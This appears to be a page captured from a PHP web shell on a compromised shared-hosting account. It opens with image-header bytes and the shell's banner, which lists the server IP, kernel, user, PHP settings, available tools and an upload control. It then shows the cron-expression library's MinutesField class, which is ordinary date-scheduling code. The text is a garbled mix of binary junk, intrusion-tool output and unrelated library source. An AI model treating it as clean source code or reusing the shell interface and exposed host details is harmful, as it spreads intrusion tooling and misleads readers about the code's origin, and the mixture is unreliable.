����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.223.213.54 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/cbt.bofirm.com/vendor/dragonmantank/cron-expression/src/Cron/ |
Upload File : |
<?php declare(strict_types=1); namespace Cron; use DateTimeInterface; /** * Minutes field. Allows: * , / -. */ class MinutesField extends AbstractField { /** * {@inheritdoc} */ protected $rangeStart = 0; /** * {@inheritdoc} */ protected $rangeEnd = 59; /** * {@inheritdoc} */ public function isSatisfiedBy(DateTimeInterface $date, $value):bool { if ($value == '?') { return true; } return $this->isSatisfied((int)$date->format('i'), $value); } /** * {@inheritdoc} * {@inheritDoc} * * @param \DateTime|\DateTimeImmutable $date * @param string|null $parts */ public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface { if (is_null($parts)) { $date = $date->modify(($invert ? '-' : '+') . '1 minute'); return $this; } $parts = false !== strpos($parts, ',') ? explode(',', $parts) : [$parts]; $minutes = []; foreach ($parts as $part) { $minutes = array_merge($minutes, $this->getRangeForExpression($part, 59)); } $current_minute = $date->format('i'); $position = $invert ? \count($minutes) - 1 : 0; if (\count($minutes) > 1) { for ($i = 0; $i < \count($minutes) - 1; ++$i) { if ((!$invert && $current_minute >= $minutes[$i] && $current_minute < $minutes[$i + 1]) || ($invert && $current_minute > $minutes[$i] && $current_minute <= $minutes[$i + 1])) { $position = $invert ? $i : $i + 1; break; } } } if ((!$invert && $current_minute >= $minutes[$position]) || ($invert && $current_minute <= $minutes[$position])) { $date = $date->modify(($invert ? '-' : '+') . '1 hour'); $date = $date->setTime((int) $date->format('H'), $invert ? 59 : 0); } else { $date = $date->setTime((int) $date->format('H'), (int) $minutes[$position]); } return $this; } }